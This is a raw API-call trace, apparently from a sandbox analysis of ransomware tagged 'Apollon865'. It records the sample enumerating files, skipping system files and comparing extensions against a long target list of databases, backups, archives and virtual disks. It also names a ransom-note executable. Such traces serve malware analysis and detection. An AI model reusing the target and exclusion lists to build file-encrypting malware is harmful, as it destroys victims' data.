	[0066.690] lstrcmpiW (lpString1="OC", lpString2="db") returned 1
	[0066.690] lstrlenW (lpString="db2") returned 3
	[0066.690] lstrcmpiW (lpString1="POC", lpString2="db2") returned 1
	[0066.690] lstrlenW (lpString="db3") returned 3
	[0066.690] lstrcmpiW (lpString1="POC", lpString2="db3") returned 1
	[0066.690] lstrlenW (lpString="dbf") returned 3
	[0066.690] lstrcmpiW (lpString1="POC", lpString2="dbf") returned 1
	[0066.690] lstrlenW (lpString="mdf") returned 3
	[0066.690] lstrcmpiW (lpString1="POC", lpString2="mdf") returned 1
	[0066.690] lstrlenW (lpString="mdb") returned 3
	[0066.690] lstrcmpiW (lpString1="POC", lpString2="mdb") returned 1
	[0066.690] lstrlenW (lpString="sql") returned 3
	[0066.690] lstrcmpiW (lpString1="POC", lpString2="sql") returned -1
	[0066.690] lstrlenW (lpString="sqlite") returned 6
	[0066.690] lstrcmpiW (lpString1="RB.POC", lpString2="sqlite") returned -1
	[0066.690] lstrlenW (lpString="sqlite3") returned 7
	[0066.690] lstrcmpiW (lpString1="ARB.POC", lpString2="sqlite3") returned -1
	[0066.690] lstrlenW (lpString="sqlitedb") returned 8
	[0066.690] lstrcmpiW (lpString1="BARB.POC", lpString2="sqlitedb") returned -1
	[0066.690] lstrlenW (lpString="xml") returned 3
	[0066.690] lstrcmpiW (lpString1="POC", lpString2="xml") returned -1
	[0066.690] lstrlenW (lpString="$er") returned 3
	[0066.690] lstrcmpiW (lpString1="POC", lpString2="$er") returned 1
	[0066.690] lstrlenW (lpString="4dd") returned 3
	[0066.690] lstrcmpiW (lpString1="POC", lpString2="4dd") returned 1
	[0066.690] lstrlenW (lpString="4dl") returned 3
	[0066.690] lstrcmpiW (lpString1="POC", lpString2="4dl") returned 1
	[0066.691] lstrlenW (lpString="^^^") returned 3
	[0066.691] lstrcmpiW (lpString1="POC", lpString2="^^^") returned 1
	[0066.691] lstrlenW (lpString="abs") returned 3
	[0066.691] lstrcmpiW (lpString1="POC", lpString2="abs") returned 1
	[0066.691] lstrlenW (lpString="abx") returned 3
	[0066.691] lstrcmpiW (lpString1="POC", lpString2="abx") returned 1
	[0066.691] lstrlenW (lpString="accdb") returned 5
	[0066.691] lstrcmpiW (lpString1="B.POC", lpString2="accdb") returned 1
	[0066.691] lstrlenW (lpString="accdc") returned 5
	[0066.691] lstrcmpiW (lpString1="B.POC", lpString2="accdc") returned 1
	[0066.691] lstrlenW (lpString="accde") returned 5
	[0066.691] lstrcmpiW (lpString1="B.POC", lpString2="accde") returned 1
	[0066.691] lstrlenW (lpString="accdr") returned 5
	[0066.691] lstrcmpiW (lpString1="B.POC", lpString2="accdr") returned 1
	[0066.691] lstrlenW (lpString="accdt") returned 5
	[0066.691] lstrcmpiW (lpString1="B.POC", lpString2="accdt") returned 1
	[0066.691] lstrlenW (lpString="accdw") returned 5
	[0066.691] lstrcmpiW (lpString1="B.POC", lpString2="accdw") returned 1
	[0066.691] lstrlenW (lpString="accft") returned 5
	[0066.691] lstrcmpiW (lpString1="B.POC", lpString2="accft") returned 1
	[0066.691] lstrlenW (lpString="adb") returned 3
	[0066.691] lstrcmpiW (lpString1="POC", lpString2="adb") returned 1
	[0066.691] lstrlenW (lpString="adb") returned 3
	[0066.691] lstrcmpiW (lpString1="POC", lpString2="adb") returned 1
	[0066.691] lstrlenW (lpString="ade") returned 3
	[0066.691] lstrcmpiW (lpString1="POC", lpString2="ade") returned 1
	[0066.691] lstrlenW (lpString="adf") returned 3
	[0066.691] lstrcmpiW (lpString1="POC", lpString2="adf") returned 1
	[0066.691] lstrlenW (lpString="adn") returned 3
	[0066.692] lstrcmpiW (lpString1="POC", lpString2="adn") returned 1
	[0066.692] lstrlenW (lpString="adp") returned 3
	[0066.692] lstrcmpiW (lpString1="POC", lpString2="adp") returned 1
	[0066.692] lstrlenW (lpString="alf") returned 3
	[0066.692] lstrcmpiW (lpString1="POC", lpString2="alf") returned 1
	[0066.692] lstrlenW (lpString="ask") returned 3
	[0066.692] lstrcmpiW (lpString1="POC", lpString2="ask") returned 1
	[0066.692] lstrlenW (lpString="btr") returned 3
	[0066.692] lstrcmpiW (lpString1="POC", lpString2="btr") returned 1
	[0066.692] lstrlenW (lpString="cat") returned 3
	[0066.692] lstrcmpiW (lpString1="POC", lpString2="cat") returned 1
	[0066.692] lstrlenW (lpString="cdb") returned 3
	[0066.692] lstrcmpiW (lpString1="POC", lpString2="cdb") returned 1
	[0066.692] lstrlenW (lpString="ckp") returned 3
	[0066.692] lstrcmpiW (lpString1="POC", lpString2="ckp") returned 1
	[0066.692] lstrlenW (lpString="cma") returned 3
	[0066.692] lstrcmpiW (lpString1="POC", lpString2="cma") returned 1
	[0066.692] lstrlenW (lpString="cpd") returned 3
	[0066.692] lstrcmpiW (lpString1="POC", lpString2="cpd") returned 1
	[0066.692] lstrlenW (lpString="dacpac") returned 6
	[0066.692] lstrcmpiW (lpString1="RB.POC", lpString2="dacpac") returned 1
	[0066.692] lstrlenW (lpString="dad") returned 3
	[0066.692] lstrcmpiW (lpString1="POC", lpString2="dad") returned 1
	[0066.692] lstrlenW (lpString="dadiagrams") returned 10
	[0066.692] lstrcmpiW (lpString1="S2BARB.POC", lpString2="dadiagrams") returned 1
	[0066.692] lstrlenW (lpString="daschema") returned 8
	[0066.692] lstrcmpiW (lpString1="BARB.POC", lpString2="daschema") returned -1
	[0066.692] lstrlenW (lpString="db-journal") returned 10
	[0066.692] lstrcmpiW (lpString1="S2BARB.POC", lpString2="db-journal") returned 1
	[0066.692] lstrlenW (lpString="db-shm") returned 6
	[0066.692] lstrcmpiW (lpString1="RB.POC", lpString2="db-shm") returned 1
	[0066.692] lstrlenW (lpString="db-wal") returned 6
	[0066.692] lstrcmpiW (lpString1="RB.POC", lpString2="db-wal") returned 1
	[0066.693] lstrlenW (lpString="dbc") returned 3
	[0066.693] lstrcmpiW (lpString1="POC", lpString2="dbc") returned 1
	[0066.693] lstrlenW (lpString="dbs") returned 3
	[0066.693] lstrcmpiW (lpString1="POC", lpString2="dbs") returned 1
	[0066.693] lstrlenW (lpString="dbt") returned 3
	[0066.693] lstrcmpiW (lpString1="POC", lpString2="dbt") returned 1
	[0066.693] lstrlenW (lpString="dbv") returned 3
	[0066.693] lstrcmpiW (lpString1="POC", lpString2="dbv") returned 1
	[0066.693] lstrlenW (lpString="dbx") returned 3
	[0066.693] lstrcmpiW (lpString1="POC", lpString2="dbx") returned 1
	[0066.693] lstrlenW (lpString="dcb") returned 3
	[0066.693] lstrcmpiW (lpString1="POC", lpString2="dcb") returned 1
	[0066.693] lstrlenW (lpString="dct") returned 3
	[0066.693] lstrcmpiW (lpString1="POC", lpString2="dct") returned 1
	[0066.693] lstrlenW (lpString="dcx") returned 3
	[0066.693] lstrcmpiW (lpString1="POC", lpString2="dcx") returned 1
	[0066.693] lstrlenW (lpString="ddl") returned 3
	[0066.693] lstrcmpiW (lpString1="POC", lpString2="ddl") returned 1
	[0066.693] lstrlenW (lpString="dlis") returned 4
	[0066.693] lstrcmpiW (lpString1=".POC", lpString2="dlis") returned -1
	[0066.693] lstrlenW (lpString="dp1") returned 3
	[0066.693] lstrcmpiW (lpString1="POC", lpString2="dp1") returned 1
	[0066.693] lstrlenW (lpString="dqy") returned 3
	[0066.693] lstrcmpiW (lpString1="POC", lpString2="dqy") returned 1
	[0066.693] lstrlenW (lpString="dsk") returned 3
	[0066.693] lstrcmpiW (lpString1="POC", lpString2="dsk") returned 1
	[0066.693] lstrlenW (lpString="dsn") returned 3
	[0066.693] lstrcmpiW (lpString1="POC", lpString2="dsn") returned 1
	[0066.693] lstrlenW (lpString="dtsx") returned 4
	[0066.693] lstrcmpiW (lpString1=".POC", lpString2="dtsx") returned -1
	[0066.693] lstrlenW (lpString="dxl") returned 3
	[0066.693] lstrcmpiW (lpString1="POC", lpString2="dxl") returned 1
	[0066.694] lstrlenW (lpString="eco") returned 3
	[0066.694] lstrcmpiW (lpString1="POC", lpString2="eco") returned 1
	[0066.694] lstrlenW (lpString="ecx") returned 3
	[0066.694] lstrcmpiW (lpString1="POC", lpString2="ecx") returned 1
	[0066.694] lstrlenW (lpString="edb") returned 3
	[0066.694] lstrcmpiW (lpString1="POC", lpString2="edb") returned 1
	[0066.694] lstrlenW (lpString="epim") returned 4
	[0066.694] lstrcmpiW (lpString1=".POC", lpString2="epim") returned -1
	[0066.694] lstrlenW (lpString="fcd") returned 3
	[0066.694] lstrcmpiW (lpString1="POC", lpString2="fcd") returned 1
	[0066.694] lstrlenW (lpString="fdb") returned 3
	[0066.694] lstrcmpiW (lpString1="POC", lpString2="fdb") returned 1
	[0066.694] lstrlenW (lpString="fic") returned 3
	[0066.694] lstrcmpiW (lpString1="POC", lpString2="fic") returned 1
	[0066.694] lstrlenW (lpString="flexolibrary") returned 12
	[0066.694] lstrlenW (lpString="fm5") returned 3
	[0066.694] lstrcmpiW (lpString1="POC", lpString2="fm5") returned 1
	[0066.694] lstrlenW (lpString="fmp") returned 3
	[0066.694] lstrcmpiW (lpString1="POC", lpString2="fmp") returned 1
	[0066.694] lstrlenW (lpString="fmp12") returned 5
	[0066.694] lstrcmpiW (lpString1="B.POC", lpString2="fmp12") returned -1
	[0066.694] lstrlenW (lpString="fmpsl") returned 5
	[0066.694] lstrcmpiW (lpString1="B.POC", lpString2="fmpsl") returned -1
	[0066.694] lstrlenW (lpString="fol") returned 3
	[0066.694] lstrcmpiW (lpString1="POC", lpString2="fol") returned 1
	[0066.694] lstrlenW (lpString="fp3") returned 3
	[0066.694] lstrcmpiW (lpString1="POC", lpString2="fp3") returned 1
	[0066.694] lstrlenW (lpString="fp4") returned 3
	[0066.694] lstrcmpiW (lpString1="POC", lpString2="fp4") returned 1
	[0066.694] lstrlenW (lpString="fp5") returned 3
	[0066.694] lstrcmpiW (lpString1="POC", lpString2="fp5") returned 1
	[0066.695] lstrlenW (lpString="fp7") returned 3
	[0066.695] lstrcmpiW (lpString1="POC", lpString2="fp7") returned 1
	[0066.695] lstrlenW (lpString="fpt") returned 3
	[0066.695] lstrcmpiW (lpString1="POC", lpString2="fpt") returned 1
	[0066.695] lstrlenW (lpString="frm") returned 3
	[0066.695] lstrcmpiW (lpString1="POC", lpString2="frm") returned 1
	[0066.695] lstrlenW (lpString="gdb") returned 3
	[0066.695] lstrcmpiW (lpString1="POC", lpString2="gdb") returned 1
	[0066.695] lstrlenW (lpString="gdb") returned 3
	[0066.695] lstrcmpiW (lpString1="POC", lpString2="gdb") returned 1
	[0066.695] lstrlenW (lpString="grdb") returned 4
	[0066.695] lstrcmpiW (lpString1=".POC", lpString2="grdb") returned -1
	[0066.695] lstrlenW (lpString="gwi") returned 3
	[0066.695] lstrcmpiW (lpString1="POC", lpString2="gwi") returned 1
	[0066.695] lstrlenW (lpString="hdb") returned 3
	[0066.695] lstrcmpiW (lpString1="POC", lpString2="hdb") returned 1
	[0066.695] lstrlenW (lpString="his") returned 3
	[0066.695] lstrcmpiW (lpString1="POC", lpString2="his") returned 1
	[0066.695] lstrlenW (lpString="ib") returned 2
	[0066.695] lstrcmpiW (lpString1="OC", lpString2="ib") returned 1
	[0066.695] lstrlenW (lpString="idb") returned 3
	[0066.695] lstrcmpiW (lpString1="POC", lpString2="idb") returned 1
	[0066.695] lstrlenW (lpString="ihx") returned 3
	[0066.695] lstrcmpiW (lpString1="POC", lpString2="ihx") returned 1
	[0066.695] lstrlenW (lpString="itdb") returned 4
	[0066.695] lstrcmpiW (lpString1=".POC", lpString2="itdb") returned -1
	[0066.695] lstrlenW (lpString="itw") returned 3
	[0066.695] lstrcmpiW (lpString1="POC", lpString2="itw") returned 1
	[0066.695] lstrlenW (lpString="jet") returned 3
	[0066.695] lstrcmpiW (lpString1="POC", lpString2="jet") returned 1
	[0066.695] lstrlenW (lpString="jtx") returned 3
	[0066.695] lstrcmpiW (lpString1="POC", lpString2="jtx") returned 1
	[0066.695] lstrlenW (lpString="kdb") returned 3
	[0066.696] lstrcmpiW (lpString1="POC", lpString2="kdb") returned 1
	[0066.696] lstrlenW (lpString="kexi") returned 4
	[0066.696] lstrcmpiW (lpString1=".POC", lpString2="kexi") returned -1
	[0066.696] lstrlenW (lpString="kexic") returned 5
	[0066.696] lstrcmpiW (lpString1="B.POC", lpString2="kexic") returned -1
	[0066.696] lstrlenW (lpString="kexis") returned 5
	[0066.696] lstrcmpiW (lpString1="B.POC", lpString2="kexis") returned -1
	[0066.696] lstrlenW (lpString="lgc") returned 3
	[0066.696] lstrcmpiW (lpString1="POC", lpString2="lgc") returned 1
	[0066.696] lstrlenW (lpString="lwx") returned 3
	[0066.696] lstrcmpiW (lpString1="POC", lpString2="lwx") returned 1
	[0066.696] lstrlenW (lpString="maf") returned 3
	[0066.696] lstrcmpiW (lpString1="POC", lpString2="maf") returned 1
	[0066.696] lstrlenW (lpString="maq") returned 3
	[0066.696] lstrcmpiW (lpString1="POC", lpString2="maq") returned 1
	[0066.696] lstrlenW (lpString="mar") returned 3
	[0066.696] lstrcmpiW (lpString1="POC", lpString2="mar") returned 1
	[0066.696] lstrlenW (lpString="marshal") returned 7
	[0066.696] lstrcmpiW (lpString1="ARB.POC", lpString2="marshal") returned -1
	[0066.696] lstrlenW (lpString="mas") returned 3
	[0066.696] lstrcmpiW (lpString1="POC", lpString2="mas") returned 1
	[0066.696] lstrlenW (lpString="mav") returned 3
	[0066.696] lstrcmpiW (lpString1="POC", lpString2="mav") returned 1
	[0066.696] lstrlenW (lpString="maw") returned 3
	[0066.696] lstrcmpiW (lpString1="POC", lpString2="maw") returned 1
	[0066.696] lstrlenW (lpString="mdbhtml") returned 7
	[0066.696] lstrcmpiW (lpString1="ARB.POC", lpString2="mdbhtml") returned -1
	[0066.696] lstrlenW (lpString="mdn") returned 3
	[0066.696] lstrcmpiW (lpString1="POC", lpString2="mdn") returned 1
	[0066.696] lstrlenW (lpString="mdt") returned 3
	[0066.696] lstrcmpiW (lpString1="POC", lpString2="mdt") returned 1
	[0066.696] lstrlenW (lpString="mfd") returned 3
	[0066.697] lstrcmpiW (lpString1="POC", lpString2="mfd") returned 1
	[0066.697] lstrlenW (lpString="mpd") returned 3
	[0066.697] lstrcmpiW (lpString1="POC", lpString2="mpd") returned 1
	[0066.697] lstrlenW (lpString="mrg") returned 3
	[0066.697] lstrcmpiW (lpString1="POC", lpString2="mrg") returned 1
	[0066.697] lstrlenW (lpString="mud") returned 3
	[0066.697] lstrcmpiW (lpString1="POC", lpString2="mud") returned 1
	[0066.697] lstrlenW (lpString="mwb") returned 3
	[0066.697] lstrcmpiW (lpString1="POC", lpString2="mwb") returned 1
	[0066.697] lstrlenW (lpString="myd") returned 3
	[0066.697] lstrcmpiW (lpString1="POC", lpString2="myd") returned 1
	[0066.697] lstrlenW (lpString="ndf") returned 3
	[0066.697] lstrcmpiW (lpString1="POC", lpString2="ndf") returned 1
	[0066.697] lstrlenW (lpString="nnt") returned 3
	[0066.697] lstrcmpiW (lpString1="POC", lpString2="nnt") returned 1
	[0066.697] lstrlenW (lpString="nrmlib") returned 6
	[0066.697] lstrcmpiW (lpString1="RB.POC", lpString2="nrmlib") returned 1
	[0066.697] lstrlenW (lpString="ns2") returned 3
	[0066.697] lstrcmpiW (lpString1="POC", lpString2="ns2") returned 1
	[0066.697] lstrlenW (lpString="ns3") returned 3
	[0066.697] lstrcmpiW (lpString1="POC", lpString2="ns3") returned 1
	[0066.697] lstrlenW (lpString="ns4") returned 3
	[0066.697] lstrcmpiW (lpString1="POC", lpString2="ns4") returned 1
	[0066.697] lstrlenW (lpString="nsf") returned 3
	[0066.697] lstrcmpiW (lpString1="POC", lpString2="nsf") returned 1
	[0066.697] lstrlenW (lpString="nv") returned 2
	[0066.697] lstrcmpiW (lpString1="OC", lpString2="nv") returned 1
	[0066.697] lstrlenW (lpString="nv2") returned 3
	[0066.697] lstrcmpiW (lpString1="POC", lpString2="nv2") returned 1
	[0066.697] lstrlenW (lpString="nwdb") returned 4
	[0066.697] lstrcmpiW (lpString1=".POC", lpString2="nwdb") returned -1
	[0066.697] lstrlenW (lpString="nyf") returned 3
	[0066.698] lstrcmpiW (lpString1="POC", lpString2="nyf") returned 1
	[0066.698] lstrlenW (lpString="odb") returned 3
	[0066.698] lstrcmpiW (lpString1="POC", lpString2="odb") returned 1
	[0066.698] lstrlenW (lpString="odb") returned 3
	[0066.698] lstrcmpiW (lpString1="POC", lpString2="odb") returned 1
	[0066.698] lstrlenW (lpString="oqy") returned 3
	[0066.698] lstrcmpiW (lpString1="POC", lpString2="oqy") returned 1
	[0066.698] lstrlenW (lpString="ora") returned 3
	[0066.698] lstrcmpiW (lpString1="POC", lpString2="ora") returned 1
	[0066.698] lstrlenW (lpString="orx") returned 3
	[0066.698] lstrcmpiW (lpString1="POC", lpString2="orx") returned 1
	[0066.698] lstrlenW (lpString="owc") returned 3
	[0066.698] lstrcmpiW (lpString1="POC", lpString2="owc") returned 1
	[0066.698] lstrlenW (lpString="p96") returned 3
	[0066.698] lstrcmpiW (lpString1="POC", lpString2="p96") returned 1
	[0066.698] lstrlenW (lpString="p97") returned 3
	[0066.698] lstrcmpiW (lpString1="POC", lpString2="p97") returned 1
	[0066.698] lstrlenW (lpString="pan") returned 3
	[0066.698] lstrcmpiW (lpString1="POC", lpString2="pan") returned 1
	[0066.698] lstrlenW (lpString="pdb") returned 3
	[0066.698] lstrcmpiW (lpString1="POC", lpString2="pdb") returned 1
	[0066.698] lstrlenW (lpString="pdm") returned 3
	[0066.698] lstrcmpiW (lpString1="POC", lpString2="pdm") returned 1
	[0066.698] lstrlenW (lpString="pnz") returned 3
	[0066.698] lstrcmpiW (lpString1="POC", lpString2="pnz") returned 1
	[0066.698] lstrlenW (lpString="qry") returned 3
	[0066.698] lstrcmpiW (lpString1="POC", lpString2="qry") returned -1
	[0066.698] lstrlenW (lpString="qvd") returned 3
	[0066.698] lstrcmpiW (lpString1="POC", lpString2="qvd") returned -1
	[0066.698] lstrlenW (lpString="rbf") returned 3
	[0066.698] lstrcmpiW (lpString1="POC", lpString2="rbf") returned -1
	[0066.698] lstrlenW (lpString="rctd") returned 4
	[0066.699] lstrcmpiW (lpString1=".POC", lpString2="rctd") returned -1
	[0066.699] lstrlenW (lpString="rod") returned 3
	[0066.699] lstrcmpiW (lpString1="POC", lpString2="rod") returned -1
	[0066.699] lstrlenW (lpString="rodx") returned 4
	[0066.699] lstrcmpiW (lpString1=".POC", lpString2="rodx") returned -1
	[0066.699] lstrlenW (lpString="rpd") returned 3
	[0066.699] lstrcmpiW (lpString1="POC", lpString2="rpd") returned -1
	[0066.699] lstrlenW (lpString="rsd") returned 3
	[0066.699] lstrcmpiW (lpString1="POC", lpString2="rsd") returned -1
	[0066.699] lstrlenW (lpString="sas7bdat") returned 8
	[0066.699] lstrcmpiW (lpString1="BARB.POC", lpString2="sas7bdat") returned -1
	[0066.699] lstrlenW (lpString="sbf") returned 3
	[0066.699] lstrcmpiW (lpString1="POC", lpString2="sbf") returned -1
	[0066.699] lstrlenW (lpString="scx") returned 3
	[0066.699] lstrcmpiW (lpString1="POC", lpString2="scx") returned -1
	[0066.699] lstrlenW (lpString="sdb") returned 3
	[0066.699] lstrcmpiW (lpString1="POC", lpString2="sdb") returned -1
	[0066.699] lstrlenW (lpString="sdc") returned 3
	[0066.699] lstrcmpiW (lpString1="POC", lpString2="sdc") returned -1
	[0066.699] lstrlenW (lpString="sdf") returned 3
	[0066.699] lstrcmpiW (lpString1="POC", lpString2="sdf") returned -1
	[0066.699] lstrlenW (lpString="sis") returned 3
	[0066.699] lstrcmpiW (lpString1="POC", lpString2="sis") returned -1
	[0066.699] lstrlenW (lpString="spq") returned 3
	[0066.699] lstrcmpiW (lpString1="POC", lpString2="spq") returned -1
	[0066.699] lstrlenW (lpString="te") returned 2
	[0066.699] lstrcmpiW (lpString1="OC", lpString2="te") returned -1
	[0066.699] lstrlenW (lpString="teacher") returned 7
	[0066.699] lstrcmpiW (lpString1="ARB.POC", lpString2="teacher") returned -1
	[0066.699] lstrlenW (lpString="tmd") returned 3
	[0066.699] lstrcmpiW (lpString1="POC", lpString2="tmd") returned -1
	[0066.699] lstrlenW (lpString="tps") returned 3
	[0066.700] lstrcmpiW (lpString1="POC", lpString2="tps") returned -1
	[0066.700] lstrlenW (lpString="trc") returned 3
	[0066.700] lstrcmpiW (lpString1="POC", lpString2="trc") returned -1
	[0066.700] lstrlenW (lpString="trc") returned 3
	[0066.700] lstrcmpiW (lpString1="POC", lpString2="trc") returned -1
	[0066.700] lstrlenW (lpString="trm") returned 3
	[0066.700] lstrcmpiW (lpString1="POC", lpString2="trm") returned -1
	[0066.700] lstrlenW (lpString="udb") returned 3
	[0066.700] lstrcmpiW (lpString1="POC", lpString2="udb") returned -1
	[0066.700] lstrlenW (lpString="udl") returned 3
	[0066.700] lstrcmpiW (lpString1="POC", lpString2="udl") returned -1
	[0066.700] lstrlenW (lpString="usr") returned 3
	[0066.700] lstrcmpiW (lpString1="POC", lpString2="usr") returned -1
	[0066.700] lstrlenW (lpString="v12") returned 3
	[0066.700] lstrcmpiW (lpString1="POC", lpString2="v12") returned -1
	[0066.700] lstrlenW (lpString="vis") returned 3
	[0066.700] lstrcmpiW (lpString1="POC", lpString2="vis") returned -1
	[0066.700] lstrlenW (lpString="vpd") returned 3
	[0066.700] lstrcmpiW (lpString1="POC", lpString2="vpd") returned -1
	[0066.700] lstrlenW (lpString="vvv") returned 3
	[0066.700] lstrcmpiW (lpString1="POC", lpString2="vvv") returned -1
	[0066.700] lstrlenW (lpString="wdb") returned 3
	[0066.700] lstrcmpiW (lpString1="POC", lpString2="wdb") returned -1
	[0066.700] lstrlenW (lpString="wmdb") returned 4
	[0066.700] lstrcmpiW (lpString1=".POC", lpString2="wmdb") returned -1
	[0066.700] lstrlenW (lpString="wrk") returned 3
	[0066.700] lstrcmpiW (lpString1="POC", lpString2="wrk") returned -1
	[0066.700] lstrlenW (lpString="xdb") returned 3
	[0066.700] lstrcmpiW (lpString1="POC", lpString2="xdb") returned -1
	[0066.700] lstrlenW (lpString="xld") returned 3
	[0066.700] lstrcmpiW (lpString1="POC", lpString2="xld") returned -1
	[0066.700] lstrlenW (lpString="xmlff") returned 5
	[0066.700] lstrcmpiW (lpString1="B.POC", lpString2="xmlff") returned -1
	[0066.701] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd991aa00, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x51ad3ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd991aa00, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0xa26, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS4BOXES.POC", cAlternateFileName="")) returned 1
	[0066.701] lstrcmpiW (lpString1="BS4BOXES.POC", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.701] lstrcmpiW (lpString1="BS4BOXES.POC", lpString2="Apollon865.txt.exe") returned 1
	[0066.701] lstrcmpiW (lpString1="BS4BOXES.POC", lpString2=".") returned 1
	[0066.701] lstrcmpiW (lpString1="BS4BOXES.POC", lpString2="..") returned 1
	[0066.701] lstrcmpiW (lpString1="BS4BOXES.POC", lpString2="windows") returned -1
	[0066.701] lstrcmpiW (lpString1="BS4BOXES.POC", lpString2="bootmgr") returned 1
	[0066.701] lstrcmpiW (lpString1="BS4BOXES.POC", lpString2="temp") returned -1
	[0066.701] lstrcmpiW (lpString1="BS4BOXES.POC", lpString2="pagefile.sys") returned -1
	[0066.701] lstrcmpiW (lpString1="BS4BOXES.POC", lpString2="boot") returned 1
	[0066.701] lstrcmpiW (lpString1="BS4BOXES.POC", lpString2="ids.txt") returned -1
	[0066.701] lstrcmpiW (lpString1="BS4BOXES.POC", lpString2="ntuser.dat") returned -1
	[0066.701] lstrcmpiW (lpString1="BS4BOXES.POC", lpString2="perflogs") returned -1
	[0066.701] lstrcmpiW (lpString1="BS4BOXES.POC", lpString2="MSBuild") returned -1
	[0066.701] lstrlenW (lpString="BS4BOXES.POC") returned 12
	[0066.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\BS2BARB.POC") returned 61
	[0066.701] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="BS4BOXES.POC" | out: lpString1="BS4BOXES.POC") returned="BS4BOXES.POC"
	[0066.701] lstrlenW (lpString="BS4BOXES.POC") returned 12
	[0066.701] lstrlenW (lpString="Apollon865") returned 10
	[0066.701] lstrcmpiW (lpString1="4BOXES.POC", lpString2="Apollon865") returned -1
	[0066.701] lstrlenW (lpString=".dll") returned 4
	[0066.701] lstrcmpiW (lpString1="BS4BOXES.POC", lpString2=".dll") returned 1
	[0066.701] lstrlenW (lpString=".lnk") returned 4
	[0066.701] lstrcmpiW (lpString1="BS4BOXES.POC", lpString2=".lnk") returned 1
	[0066.701] lstrlenW (lpString=".ini") returned 4
	[0066.701] lstrcmpiW (lpString1="BS4BOXES.POC", lpString2=".ini") returned 1
	[0066.701] lstrlenW (lpString=".sys") returned 4
	[0066.701] lstrcmpiW (lpString1="BS4BOXES.POC", lpString2=".sys") returned 1
	[0066.701] lstrlenW (lpString="BS4BOXES.POC") returned 12
	[0066.701] lstrlenW (lpString="bak") returned 3
	[0066.701] lstrcmpiW (lpString1="POC", lpString2="bak") returned 1
	[0066.701] lstrlenW (lpString="ba_") returned 3
	[0066.702] lstrcmpiW (lpString1="POC", lpString2="ba_") returned 1
	[0066.702] lstrlenW (lpString="dbb") returned 3
	[0066.702] lstrcmpiW (lpString1="POC", lpString2="dbb") returned 1
	[0066.702] lstrlenW (lpString="vmdk") returned 4
	[0066.702] lstrcmpiW (lpString1=".POC", lpString2="vmdk") returned -1
	[0066.702] lstrlenW (lpString="rar") returned 3
	[0066.702] lstrcmpiW (lpString1="POC", lpString2="rar") returned -1
	[0066.702] lstrlenW (lpString="zip") returned 3
	[0066.702] lstrcmpiW (lpString1="POC", lpString2="zip") returned -1
	[0066.702] lstrlenW (lpString="tgz") returned 3
	[0066.702] lstrcmpiW (lpString1="POC", lpString2="tgz") returned -1
	[0066.702] lstrlenW (lpString="vbox") returned 4
	[0066.702] lstrcmpiW (lpString1=".POC", lpString2="vbox") returned -1
	[0066.702] lstrlenW (lpString="vdi") returned 3
	[0066.702] lstrcmpiW (lpString1="POC", lpString2="vdi") returned -1
	[0066.702] lstrlenW (lpString="vhd") returned 3
	[0066.702] lstrcmpiW (lpString1="POC", lpString2="vhd") returned -1
	[0066.702] lstrlenW (lpString="vhdx") returned 4
	[0066.702] lstrcmpiW (lpString1=".POC", lpString2="vhdx") returned -1
	[0066.702] lstrlenW (lpString="avhd") returned 4
	[0066.702] lstrcmpiW (lpString1=".POC", lpString2="avhd") returned -1
	[0066.702] lstrlenW (lpString="db") returned 2
	[0066.702] lstrcmpiW (lpString1="OC", lpString2="db") returned 1
	[0066.702] lstrlenW (lpString="db2") returned 3
	[0066.702] lstrcmpiW (lpString1="POC", lpString2="db2") returned 1
	[0066.702] lstrlenW (lpString="db3") returned 3
	[0066.702] lstrcmpiW (lpString1="POC", lpString2="db3") returned 1
	[0066.702] lstrlenW (lpString="dbf") returned 3
	[0066.702] lstrcmpiW (lpString1="POC", lpString2="dbf") returned 1
	[0066.702] lstrlenW (lpString="mdf") returned 3
	[0066.702] lstrcmpiW (lpString1="POC", lpString2="mdf") returned 1
	[0066.702] lstrlenW (lpString="mdb") returned 3
	[0066.702] lstrcmpiW (lpString1="POC", lpString2="mdb") returned 1
	[0066.703] lstrlenW (lpString="sql") returned 3
	[0066.703] lstrcmpiW (lpString1="POC", lpString2="sql") returned -1
	[0066.703] lstrlenW (lpString="sqlite") returned 6
	[0066.703] lstrcmpiW (lpString1="ES.POC", lpString2="sqlite") returned -1
	[0066.703] lstrlenW (lpString="sqlite3") returned 7
	[0066.703] lstrcmpiW (lpString1="XES.POC", lpString2="sqlite3") returned 1
	[0066.703] lstrlenW (lpString="sqlitedb") returned 8
	[0066.703] lstrcmpiW (lpString1="OXES.POC", lpString2="sqlitedb") returned -1
	[0066.703] lstrlenW (lpString="xml") returned 3
	[0066.703] lstrcmpiW (lpString1="POC", lpString2="xml") returned -1
	[0066.703] lstrlenW (lpString="$er") returned 3
	[0066.703] lstrcmpiW (lpString1="POC", lpString2="$er") returned 1
	[0066.703] lstrlenW (lpString="4dd") returned 3
	[0066.703] lstrcmpiW (lpString1="POC", lpString2="4dd") returned 1
	[0066.703] lstrlenW (lpString="4dl") returned 3
	[0066.703] lstrcmpiW (lpString1="POC", lpString2="4dl") returned 1
	[0066.703] lstrlenW (lpString="^^^") returned 3
	[0066.703] lstrcmpiW (lpString1="POC", lpString2="^^^") returned 1
	[0066.703] lstrlenW (lpString="abs") returned 3
	[0066.703] lstrcmpiW (lpString1="POC", lpString2="abs") returned 1
	[0066.703] lstrlenW (lpString="abx") returned 3
	[0066.703] lstrcmpiW (lpString1="POC", lpString2="abx") returned 1
	[0066.703] lstrlenW (lpString="accdb") returned 5
	[0066.703] lstrcmpiW (lpString1="S.POC", lpString2="accdb") returned 1
	[0066.703] lstrlenW (lpString="accdc") returned 5
	[0066.703] lstrcmpiW (lpString1="S.POC", lpString2="accdc") returned 1
	[0066.703] lstrlenW (lpString="accde") returned 5
	[0066.703] lstrcmpiW (lpString1="S.POC", lpString2="accde") returned 1
	[0066.703] lstrlenW (lpString="accdr") returned 5
	[0066.703] lstrcmpiW (lpString1="S.POC", lpString2="accdr") returned 1
